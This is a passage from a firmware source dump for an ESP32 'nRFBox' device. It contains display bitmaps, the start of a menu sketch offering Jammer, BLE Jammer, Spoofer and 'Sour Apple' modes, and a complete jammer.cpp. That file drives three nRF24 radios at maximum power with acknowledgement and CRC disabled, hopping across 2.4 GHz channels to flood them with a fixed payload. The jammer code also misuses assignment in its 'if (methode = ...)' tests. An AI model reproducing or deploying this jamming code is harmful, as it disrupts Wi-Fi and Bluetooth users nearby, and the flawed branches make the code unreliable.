0x66, 0x66, 0x66, 0x66, 0x66, 0x00, 0x00, 0x00, 0x00 34 | }; 35 | 36 | // 'icon_analyzer', 16x16px 37 | const unsigned char bitmap_icon_analyzer [] PROGMEM = { 38 | 0x00, 0x00, 0xC0, 0x0F, 0x00, 0x10, 0x80, 0x27, 0x00, 0x48, 0x00, 0x53, 39 | 0x60, 0x54, 0xE0, 0x54, 0xE0, 0x51, 0xE0, 0x43, 0xE0, 0x03, 0x50, 0x00, 40 | 0xF8, 0x00, 0x04, 0x01, 0xFE, 0x03, 0x00, 0x00, }; 41 | 42 | // 'icon_colorcube', 16x16px 43 | const unsigned char bitmap_icon_colorcube [] PROGMEM = { 44 | 0x80, 0x01, 0xe0, 0x06, 0x98, 0x18, 0x86, 0x60, 0x82, 0x40, 0x82, 0x40, 0x82, 0x40, 0x82, 0x40, 45 | 0x82, 0x40, 0x82, 0x40, 0x82, 0x40, 0x86, 0x60, 0x98, 0x18, 0xe0, 0x06, 0x80, 0x01, 0x00, 0x00 }; 46 | 47 | // 'icon_colorpicker', 16x16px 48 | const unsigned char bitmap_icon_colorpicker [] PROGMEM = { 49 | 0x08, 0x00, 0x18, 0x00, 0x28, 0x00, 0x48, 0x00, 0x88, 0x00, 0x08, 0x01, 0x08, 0x02, 0x08, 0x04, 50 | 0x08, 0x08, 0x08, 0x10, 0x08, 0x20, 0x08, 0x38, 0x88, 0x08, 0x48, 0x11, 0x28, 0x12, 0x18, 0x0c }; 51 | 52 | // 'icon_about', 16x16px 53 | const unsigned char bitmap_icon_about [] PROGMEM = { 54 | 0xc0, 0x03, 0x20, 0x04, 0x10, 0x08, 0x10, 0x08, 0x20, 0x04, 0xc0, 0x03, 0x00, 0x00, 0xf8, 0x1f, 55 | 0x04, 0x20, 0x02, 0x40, 0x02, 0x40, 0x12, 0x48, 0x12, 0x48, 0x12, 0x48, 0xfc, 0x3f, 0x00, 0x00 }; 56 | 57 | 58 | // 'logo_cifer', 128x64px 59 | const unsigned char logo_cifer [] PROGMEM = { 60 | 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 61 | 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 62 | 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 63 | 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 64 | 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xe0, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 65 | 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x0f, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 66 | 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x38, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 67 | 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xfe, 0x3f, 0xc0, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 68 | 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xc0, 0x07, 0xf0, 0x83, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 69 | 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x78, 0x00, 0x00, 0x6f, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 70 | 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x1c, 0x00, 0x00, 0x38, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 71 | 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x06, 0x78, 0x3e, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 72 | 0x00, 0x00, 0x00, 0x00, 0xfe, 0x00, 0x0c, 0x7f, 0xfe, 0x01, 0x00, 0xff, 0x00, 0x00, 0x00, 0x00, 73 | 0x00, 0x00, 0x00, 0x00, 0xfe, 0x03, 0xc0, 0x7f, 0xfe, 0x07, 0x80, 0xff, 0x00, 0x00, 0x00, 0x00, 74 | 0x00, 0x00, 0x00, 0x00, 0xf8, 0x07, 0xe0, 0x7f, 0xfe, 0x1f, 0xc0, 0x3f, 0x00, 0x00, 0x00, 0x00, 75 | 0x00, 0x00, 0x00, 0x00, 0xe0, 0x07, 0xf8, 0x7f, 0xfe, 0x3f, 0xe0, 0x07, 0x00, 0x00, 0x00, 0x00, 76 | 0x00, 0x00, 0x00, 0x00, 0xc0, 0x0f, 0xfc, 0x7f, 0xfe, 0x7f, 0xe0, 0x03, 0x00, 0x00, 0x00, 0x00, 77 | 0x00, 0x00, 0x00, 0x00, 0xc0, 0x1f, 0xfe, 0x7f, 0xfe, 0xff, 0xf0, 0x03, 0x00, 0x00, 0x00, 0x00, 78 | 0x00, 0x00, 0x00, 0xc0, 0x80, 0x7f, 0xff, 0x7f, 0xfe, 0xff, 0xf9, 0x03, 0x02, 0x00, 0x00, 0x00, 79 | 0x00, 0x00, 0x00, 0xc0, 0xc1, 0x3f, 0xff, 0x7f, 0xfe, 0xff, 0xfb, 0x87, 0x03, 0x00, 0x00, 0x00, 80 | 0x00, 0x00, 0x00, 0xc0, 0xe7, 0xbf, 0xff, 0x7f, 0xfe, 0xff, 0xf3, 0xff, 0x03, 0x00, 0x00, 0x00, 81 | 0x00, 0x00, 0x00, 0x80, 0xff, 0xdf, 0xff, 0x7f, 0xfe, 0xff, 0xf7, 0xff, 0x03, 0x00, 0x00, 0x00, 82 | 0x00, 0x00, 0x00, 0x00, 0xff, 0xdf, 0xff, 0x7f, 0xfe, 0xff, 0xe7, 0xff, 0x01, 0x00, 0x00, 0x00, 83 | 0x00, 0x00, 0x00, 0x00, 0xff, 0xcf, 0xff, 0x7f, 0xfe, 0xff, 0xef, 0xff, 0x00, 0x00, 0x00, 0x00, 84 | 0x00, 0x00, 0x00, 0x00, 0xfc, 0xef, 0xff, 0x7f, 0xfe, 0xff, 0xcf, 0x3f, 0x00, 0x00, 0x00, 0x00, 85 | 0x00, 0x00, 0x00, 0x00, 0x00, 0xec, 0xff, 0x7f, 0xfe, 0xff, 0x5f, 0x00, 0x00, 0x00, 0x00, 0x00, 86 | 0x00, 0x00, 0x00, 0x00, 0x00, 0xe0, 0xff, 0x7f, 0xfe, 0xff, 0x1f, 0x00, 0x00, 0x00, 0x00, 0x00, 87 | 0x00, 0x00, 0x00, 0x00, 0x00, 0xf0, 0xff, 0x7f, 0xfe, 0xff, 0x1f, 0x00, 0x00, 0x00, 0x00, 0x00, 88 | 0x00, 0x00, 0x00, 0x00, 0x00, 0xf0, 0xff, 0x7f, 0xfe, 0xff, 0x1f, 0x00, 0x00, 0x00, 0x00, 0x00, 89 | 0x00, 0x00, 0x00, 0x00, 0x00, 0xf0, 0xff, 0x7f, 0xfe, 0xff, 0x1f, 0x00, 0x00, 0x00, 0x00, 0x00, 90 | 0x00, 0x00, 0x00, 0x00, 0x00, 0xf0, 0xff, 0x7f, 0x1e, 0xf0, 0x1f, 0x00, 0x00, 0x00, 0x00, 0x00, 91 | 0x00, 0x00, 0x00, 0x00, 0x00, 0xf0, 0xff, 0x7f, 0x0e, 0x00, 0x1f, 0x00, 0x00, 0x00, 0x00, 0x00, 92 | 0x00, 0x00, 0x00, 0x00, 0x00, 0xe0, 0xff, 0x7f, 0x06, 0x00, 0x1e, 0x00, 0x00, 0x00, 0x00, 0x00, 93 | 0x00, 0x00, 0x00, 0x00, 0x00, 0xe0, 0xff, 0x7f, 0x06, 0x00, 0x1c, 0x00, 0x00, 0x00, 0x00, 0x00, 94 | 0x00, 0x00, 0x00, 0x00, 0x00, 0xe0, 0xff, 0x7f, 0x06, 0x00, 0x1c, 0x00, 0x00, 0x00, 0x00, 0x00, 95 | 0x00, 0x00, 0x00, 0x00, 0x00, 0xe0, 0xff, 0x7f, 0x0e, 0x00, 0x1c, 0x00, 0x00, 0x00, 0x00, 0x00, 96 | 0x00, 0x00, 0x00, 0x00, 0x00, 0xe0, 0xff, 0x7f, 0x0e, 0x00, 0x1c, 0x00, 0x00, 0x00, 0x00, 0x00, 97 | 0x00, 0x00, 0x00, 0x00, 0x00, 0xec, 0x3f, 0x7f, 0x1e, 0x00, 0x6e, 0x00, 0x00, 0x00, 0x00, 0x00, 98 | 0x00, 0x00, 0x00, 0x00, 0x60, 0xee, 0x0f, 0x7e, 0x1e, 0x00, 0xee, 0x39, 0x00, 0x00, 0x00, 0x00, 99 | 0x00, 0x00, 0x00, 0x00, 0xfc, 0xef, 0xe7, 0x7c, 0x3e, 0x00, 0xef, 0xff, 0x00, 0x00, 0x00, 0x00, 100 | 0x00, 0x00, 0x00, 0x00, 0xfe, 0xcf, 0xf7, 0x79, 0x7e, 0x80, 0xef, 0xff, 0x01, 0x00, 0x00, 0x00, 101 | 0x00, 0x00, 0x00, 0x00, 0xff, 0xdf, 0xf7, 0x7b, 0xfe, 0xc0, 0xe7, 0xff, 0x03, 0x00, 0x00, 0x00, 102 | 0x00, 0x00, 0x00, 0x80, 0xff, 0x9f, 0xe7, 0x77, 0xfe, 0xf3, 0xf7, 0xff, 0x03, 0x00, 0x00, 0x00, 103 | 0x00, 0x00, 0x00, 0x80, 0xcf, 0xbf, 0xe7, 0x6f, 0x8e, 0xff, 0xf3, 0xc7, 0x03, 0x00, 0x00, 0x00, 104 | 0x00, 0x00, 0x00, 0x80, 0x83, 0x3f, 0xcf, 0x4f, 0x06, 0xff, 0xfb, 0x03, 0x03, 0x00, 0x00, 0x00, 105 | 0x00, 0x00, 0x00, 0x80, 0x00, 0x3f, 0x9e, 0x1f, 0x72, 0xfe, 0xf0, 0x03, 0x00, 0x00, 0x00, 0x00, 106 | 0x00, 0x00, 0x00, 0x00, 0x00, 0x1f, 0xb0, 0x3f, 0xf8, 0x3c, 0xe0, 0x03, 0x00, 0x00, 0x00, 0x00, 107 | 0x00, 0x00, 0x00, 0x00, 0x80, 0x0f, 0x60, 0x7f, 0xfe, 0x0d, 0xe0, 0x07, 0x00, 0x00, 0x00, 0x00, 108 | 0x00, 0x00, 0x00, 0x00, 0xe0, 0x0f, 0xc0, 0xfe, 0xff, 0x0c, 0xc0, 0x1f, 0x00, 0x00, 0x00, 0x00, 109 | 0x00, 0x00, 0x00, 0x00, 0xf0, 0x07, 0xc0, 0xfd, 0x7f, 0x06, 0x80, 0x7f, 0x00, 0x00, 0x00, 0x00, 110 | 0x00, 0x00, 0x00, 0x00, 0xfc, 0x03, 0x80, 0xfb, 0x3f, 0x07, 0x00, 0xff, 0x00, 0x00, 0x00, 0x00, 111 | 0x00, 0x00, 0x00, 0x00, 0xf8, 0x00, 0x80, 0xf3, 0x9f, 0x03, 0x00, 0x3c, 0x00, 0x00, 0x00, 0x00, 112 | 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xf3, 0x9f, 0x03, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 113 | 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xfc, 0x3f, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 114 | 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xfe, 0xff, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 115 | 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xff, 0xff, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 116 | 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x80, 0x7f, 0xfc, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 117 | 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x80, 0x3f, 0xf8, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 118 | 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x1f, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 119 | 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x06, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 120 | 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 121 | 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 122 | 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 123 | 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00 124 | }; 125 | 126 | // 'scrollbar_background', 8x64px 127 | const unsigned char bitmap_scrollbar_background [] PROGMEM = { 128 | 0x00, 0x40, 0x00, 0x40, 0x00, 0x40, 0x00, 0x40, 0x00, 0x40, 0x00, 0x40, 129 | 0x00, 0x40, 0x00, 0x40, 0x00, 0x40, 0x00, 0x40, 0x00, 0x40, 0x00, 0x40, 130 | 0x00, 0x40, 0x00, 0x40, 0x00, 0x40, 0x00, 0x40, 0x00, 0x40, 0x00, 0x40, 131 | 0x00, 0x40, 0x00, 0x40, 0x00, 0x40, 0x00, 0x40, 0x00, 0x40, 0x00, 0x40, 132 | 0x00, 0x40, 0x00, 0x40, 0x00, 0x40, 0x00, 0x40, 0x00, 0x40, 0x00, 0x40, 133 | 0x00, 0x40, 0x00, 0x00, }; 134 | 135 | 136 | // 'item_sel_outline', 128x21px 137 | const unsigned char bitmap_item_sel_outline [] PROGMEM = { 138 | 0xF8, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 139 | 0xFF, 0xFF, 0xFF, 0x03, 0x04, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 140 | 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x04, 0x02, 0x00, 0x00, 0x00, 141 | 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x0C, 142 | 0x02, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 143 | 0x00, 0x00, 0x00, 0x0C, 0x02, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 144 | 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x0C, 0x02, 0x00, 0x00, 0x00, 145 | 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x0C, 146 | 0x02, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 147 | 0x00, 0x00, 0x00, 0x0C, 0x02, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 148 | 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x0C, 0x02, 0x00, 0x00, 0x00, 149 | 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x0C, 150 | 0x02, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 151 | 0x00, 0x00, 0x00, 0x0C, 0x02, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 152 | 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x0C, 0x02, 0x00, 0x00, 0x00, 153 | 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x0C, 154 | 0x02, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 155 | 0x00, 0x00, 0x00, 0x0C, 0x02, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 156 | 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x0C, 0x02, 0x00, 0x00, 0x00, 157 | 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x0C, 158 | 0x02, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 159 | 0x00, 0x00, 0x00, 0x0C, 0x02, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 160 | 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x0C, 0x02, 0x00, 0x00, 0x00, 161 | 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x0C, 162 | 0x02, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 163 | 0x00, 0x00, 0x00, 0x0C, 0xFC, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 164 | 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0x07, 0xF8, 0xFF, 0xFF, 0xFF, 165 | 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0x03, 166 | }; 167 | -------------------------------------------------------------------------------- /VScode Platformio/src/jammer.cpp: -------------------------------------------------------------------------------- 1 | /* ____________________________ 2 | This software is licensed under the MIT License: 3 | https://github.com/cifertech/nrfbox 4 | ________________________________________ */ 5 | 6 | #include 7 | #include "jammer.h" 8 | 9 | #define BT1 33 // channels 10 | #define BT2 27 // jamming 11 | #define BT3 26 // data rate 12 | #define BT4 25 // PA level 13 | 14 | 15 | #define CE_A 5 16 | #define CSN_A 17 17 | 18 | #define CE_B 16 19 | #define CSN_B 4 20 | 21 | #define CE_C 15 22 | #define CSN_C 2 23 | 24 | RF24 radioA(CE_A, CSN_A, 16000000); 25 | RF24 radioB(CE_B, CSN_B, 16000000); 26 | RF24 radioC(CE_C, CSN_C, 16000000); 27 | 28 | #define SCREEN_WIDTH 128 29 | #define SCREEN_HEIGHT 64 30 | 31 | 32 | const int num_channels = 64; 33 | int value[num_channels]; 34 | int valuesDisplay[32]; 35 | int channels = 1; 36 | const int num_reps = 50; 37 | bool jamming = false; 38 | const byte address[6] = "00001"; 39 | 40 | uint8_t dataRateIndex = 0; // Index for cycling through data rates 41 | uint8_t paLevelIndex = 0; // Index for cycling through PA levels 42 | 43 | extern U8G2_SSD1306_128X64_NONAME_F_HW_I2C u8g2; 44 | 45 | 46 | void setRadioParameters() { 47 | switch (dataRateIndex) { 48 | case 0: radioA.setDataRate(RF24_250KBPS); radioB.setDataRate(RF24_250KBPS); radioC.setDataRate(RF24_250KBPS); break; 49 | case 1: radioA.setDataRate(RF24_1MBPS); radioB.setDataRate(RF24_1MBPS); radioC.setDataRate(RF24_1MBPS); break; 50 | case 2: radioA.setDataRate(RF24_2MBPS); radioB.setDataRate(RF24_2MBPS); radioC.setDataRate(RF24_2MBPS);break; 51 | } 52 | 53 | switch (paLevelIndex) { 54 | case 0: radioA.setPALevel(RF24_PA_MIN); radioB.setPALevel(RF24_PA_MIN); radioC.setPALevel(RF24_PA_MIN); break; 55 | case 1: radioA.setPALevel(RF24_PA_LOW); radioB.setPALevel(RF24_PA_LOW); radioC.setPALevel(RF24_PA_LOW); break; 56 | case 2: radioA.setPALevel(RF24_PA_HIGH); radioB.setPALevel(RF24_PA_HIGH); radioC.setPALevel(RF24_PA_HIGH); break; 57 | case 3: radioA.setPALevel(RF24_PA_MAX); radioB.setPALevel(RF24_PA_MAX); radioC.setPALevel(RF24_PA_MAX); break; 58 | } 59 | 60 | Serial.print("Data Rate: "); 61 | Serial.println(dataRateIndex); 62 | Serial.print("PA Level: "); 63 | Serial.println(paLevelIndex); 64 | } 65 | 66 | void radioSetChannel(int channels) { 67 | radioA.setChannel(channels); 68 | radioB.setChannel(channels); 69 | radioC.setChannel(channels); 70 | } 71 | 72 | void jammer() { 73 | int methode = 1; 74 | 75 | const char text[] = { 0xAA, 0x55, 0xAA, 0x55, 0xAA, 0x55, 0xAA, 0x55, 76 | 0xAA, 0x55, 0xAA, 0x55, 0xAA, 0x55, 0xAA, 0x55 }; 77 | 78 | if (methode = 0) { 79 | for (int i = ((channels * 5) + 1); i < ((channels * 5) + 23); i++) { 80 | radioSetChannel(i); 81 | bool resultA = radioA.write(&text, sizeof(text)); 82 | bool resultB = radioB.write(&text, sizeof(text)); 83 | bool resultC = radioC.write(&text, sizeof(text)); 84 | 85 | delay(10); 86 | } 87 | } 88 | 89 | if (methode = 1) { 90 | for (int i = 0; i < 22; i++) { // Jam across 22 channels 91 | int channelA = ((channels * 5) + 1) + i; 92 | int channelB = ((channels * 5) + 1) + i + 1; 93 | int channelC = ((channels * 5) + 1) + i + 2; 94 | 95 | // Set each radio to a different channel 96 | radioA.setChannel(channelA); 97 | radioB.setChannel(channelB); 98 | radioC.setChannel(channelC); 99 | 100 | // Transmit payload on all three channels simultaneously 101 | radioA.write(&text, sizeof(text)); 102 | radioB.write(&text, sizeof(text)); 103 | radioC.write(&text, sizeof(text)); 104 | 105 | delay(10); // Delay before hopping to the next set of channels 106 | } 107 | } 108 | } 109 | 110 | void pressBt01() { 111 | static unsigned long last_interrupt_time = 0; 112 | unsigned long interrupt_time = millis(); 113 | if (interrupt_time - last_interrupt_time > 200) { 114 | if (channels < 14) { 115 | channels++; 116 | } else { 117 | channels = 1; 118 | } 119 | Serial.print("Channel: "); 120 | Serial.println(channels); 121 | } 122 | last_interrupt_time = interrupt_time; 123 | } 124 | 125 | void pressBt02() { 126 | static unsigned long last_interrupt_time = 0; 127 | unsigned long interrupt_time = millis(); 128 | if (interrupt_time - last_interrupt_time > 200) { 129 | jamming = !jamming; 130 | Serial.println(jamming ? "Jamming started" : "Jamming stopped"); 131 | } 132 | last_interrupt_time = interrupt_time; 133 | } 134 | 135 | void pressBt03() { 136 | static unsigned long last_interrupt_time = 0; 137 | unsigned long interrupt_time = millis(); 138 | if (interrupt_time - last_interrupt_time > 200) { 139 | dataRateIndex = (dataRateIndex + 1) % 3; // Cycle through data rates 140 | setRadioParameters(); 141 | Serial.println("Data rate changed"); 142 | } 143 | last_interrupt_time = interrupt_time; 144 | } 145 | 146 | void pressBt04() { 147 | static unsigned long last_interrupt_time = 0; 148 | unsigned long interrupt_time = millis(); 149 | if (interrupt_time - last_interrupt_time > 200) { 150 | paLevelIndex = (paLevelIndex + 1) % 4; // Cycle through power levels 151 | setRadioParameters(); 152 | Serial.println("Power level changed"); 153 | } 154 | last_interrupt_time = interrupt_time; 155 | } 156 | 157 | void configure(RF24 &radio) { 158 | radio.begin(); 159 | radio.openWritingPipe(0xFFFFFFFFFF); 160 | radio.setAutoAck(false); 161 | radio.stopListening(); 162 | radio.setRetries(0, 0); 163 | radio.setPALevel(RF24_PA_MAX, true); 164 | radio.setDataRate(RF24_2MBPS); 165 | radio.setCRCLength(RF24_CRC_DISABLED); 166 | radio.printPrettyDetails(); 167 | } 168 | 169 | void jammerSetup(){ 170 | Serial.begin(115200); 171 | 172 | esp_bt_controller_deinit(); 173 | esp_wifi_stop(); 174 | esp_wifi_deinit(); 175 | 176 | pinMode(BT1, INPUT_PULLUP); 177 | pinMode(BT2, INPUT_PULLUP); 178 | pinMode(BT3, INPUT_PULLUP); 179 | pinMode(BT4, INPUT_PULLUP); 180 | 181 | SPI.begin(); 182 | 183 | pinMode(CE_A, OUTPUT); 184 | pinMode(CSN_A, OUTPUT); 185 | 186 | pinMode(CE_B, OUTPUT); 187 | pinMode(CSN_B, OUTPUT); 188 | 189 | pinMode(CE_C, OUTPUT); 190 | pinMode(CSN_C, OUTPUT); 191 | 192 | u8g2.begin(); 193 | u8g2.clearBuffer(); 194 | u8g2.sendBuffer(); 195 | 196 | 197 | configure(radioA); 198 | configure(radioB); 199 | configure(radioC); 200 | 201 | //radio.begin(); 202 | setRadioParameters(); 203 | //radio.openWritingPipe(address); 204 | //radio.stopListening(); 205 | 206 | Serial.println("Radio configured and ready"); 207 | } 208 | 209 | 210 | void jammerLoop(){ 211 | attachInterrupt(digitalPinToInterrupt(BT1), pressBt01, FALLING); 212 | attachInterrupt(digitalPinToInterrupt(BT2), pressBt02, FALLING); 213 | attachInterrupt(digitalPinToInterrupt(BT3), pressBt03, FALLING); 214 | attachInterrupt(digitalPinToInterrupt(BT4), pressBt04, FALLING); 215 | 216 | u8g2.clearBuffer(); 217 | u8g2.setFont(u8g2_font_ncenB08_tr); 218 | 219 | // Display channel 220 | u8g2.setCursor(0, 10); 221 | u8g2.print("Channel : "); 222 | u8g2.setCursor(80, 10); 223 | u8g2.print("["); 224 | u8g2.print(channels); 225 | u8g2.print("]"); 226 | 227 | // Display PA level 228 | u8g2.setCursor(0, 25); 229 | u8g2.print("PA Level: "); 230 | u8g2.setCursor(80, 25); 231 | switch (paLevelIndex) { 232 | case 0: u8g2.print("MIN"); break; 233 | case 1: u8g2.print("LOW"); break; 234 | case 2: u8g2.print("HIGH"); break; 235 | case 3: u8g2.print("MAX"); break; 236 | } 237 | 238 | // Display data rate 239 | u8g2.setCursor(0, 40); 240 | u8g2.print("Data Rate: "); 241 | u8g2.setCursor(80, 40); 242 | switch (dataRateIndex) { 243 | case 0: u8g2.print("250KBPS"); break; 244 | case 1: u8g2.print("1MBPS"); break; 245 | case 2: u8g2.print("2MBPS"); break; 246 | } 247 | 248 | u8g2.setCursor(0, 60); 249 | u8g2.print("Jamming: "); 250 | 251 | if (jamming) { 252 | u8g2.setCursor(80, 60); 253 | u8g2.print("Active "); 254 | }else{ 255 | u8g2.setCursor(80, 60); 256 | u8g2.print("disable "); 257 | } 258 | 259 | u8g2.sendBuffer(); 260 | 261 | delay(50); 262 | 263 | if (jamming) { 264 | u8g2.setCursor(80, 60); 265 | u8g2.print("Active "); 266 | Serial.println("Starting jamming on channel " + String(channels)); 267 | jammer(); 268 | } 269 | } 270 | -------------------------------------------------------------------------------- /VScode Platformio/src/jammer.h: -------------------------------------------------------------------------------- 1 | /* ____________________________ 2 | This software is licensed under the MIT License: 3 | https://github.com/cifertech/nrfbox 4 | ________________________________________ */ 5 | 6 | #ifndef jammer_H 7 | #define jammer_H 8 | 9 | #include 10 | #include 11 | #include 12 | #include 13 | #include "esp_bt.h" 14 | #include "esp_wifi.h" 15 | 16 | void jammerSetup(); 17 | void jammerLoop(); 18 | 19 | #endif 20 | -------------------------------------------------------------------------------- /VScode Platformio/src/nRFBox_V2.ino: -------------------------------------------------------------------------------- 1 | /* ____________________________ 2 | This software is licensed under the MIT License: 3 | https://github.com/cifertech/nrfbox 4 | ________________________________________ */ 5 | 6 | #include 7 | #include 8 | #include 9 | 10 | #ifdef U8X8_HAVE_HW_I2C 11 | #include 12 | #endif 13 | 14 | #include "icon.h" 15 | #include "scanner.h" 16 | #include "analyzer.h" 17 | #include "jammer.h" 18 | #include "blejammer.h" 19 | #include "spoofer.h" 20 | #include "sourapple.h" 21 | 22 | 23 | #define CE_PIN_A 5 24 | #define CSN_PIN_A 17 25 | 26 | #define CE_PIN_B 16 27 | #define CSN_PIN_B 4 28 | 29 | #define CE_PIN_C 15 30 | #define CSN_PIN_C 2 31 | 32 | RF24 RadioA(CE_PIN_A, CSN_PIN_A); 33 | RF24 RadioB(CE_PIN_B, CSN_PIN_B); 34 | RF24 RadioC(CE_PIN_C, CSN_PIN_C); 35 | 36 | //U8G2_SSD1306_128X64_NONAME_F_HW_I2C u8g2(U8G2_R0); // [full framebuffer, size = 1024 bytes] 37 | U8G2_SSD1306_128X64_NONAME_F_HW_I2C u8g2(U8G2_R0, /* reset=*/ U8X8_PIN_NONE); 38 | 39 | Adafruit_NeoPixel pixels(1, 14, NEO_GRB + NEO_KHZ800); 40 | 41 | 42 | const unsigned char* bitmap_icons[8] = { 43 | bitmap_icon_scanner, 44 | bitmap_icon_analyzer, 45 | bitmap_icon_jammer, 46 | bitmap_icon_ble_jammer, 47 | bitmap_icon_spoofer, 48 | bitmap_icon_apple, 49 | bitmap_icon_about 50 | }; 51 | 52 | 53 | const int NUM_ITEMS = 7; 54 | const int MAX_ITEM_LENGTH = 20; 55 | 56 | char menu_items [NUM_ITEMS] [MAX_ITEM_LENGTH] = { 57 | { "Scanner" }, 58 | { "Analyzer" }, 59 | { "Jammer" }, 60 | { "BLE Jammer" }, 61 | { "BLE Spoofer" }, 62 | { "Sour Apple" }, 63 | { "About" } 64 | }; 65 | 66 | 67 | #define BUTTON_UP_PIN 26 68 | #define BUTTON_SELECT_PIN 32 69 | #define BUTTON_DOWN_PIN 33 70 | 71 | 72 | int button_up_clicked = 0; 73 | int button_select_clicked = 0; 74 | int button_down_clicked = 0; 75 | 76 | int item_selected = 0; 77 | 78 | int item_sel_previous; 79 | int item_sel_next; 80 | 81 | int current_screen = 0; 82 | 83 | 84 | void about() { 85 | u8g2.clearBuffer(); 86 | u8g2.setFont(u8g2_font_6x10_tf); 87 | u8g2.drawStr(7, 15, "CiferTech@gmail.com"); 88 | u8g2.drawStr(12, 35, "GitHub/cifertech"); 89 | u8g2.drawStr(7, 55, "instagram/cifertech"); 90 | u8g2.sendBuffer(); 91 | } 92 | 93 | void configureNrf(RF24 &radio) { 94 | radio.begin(); 95 | 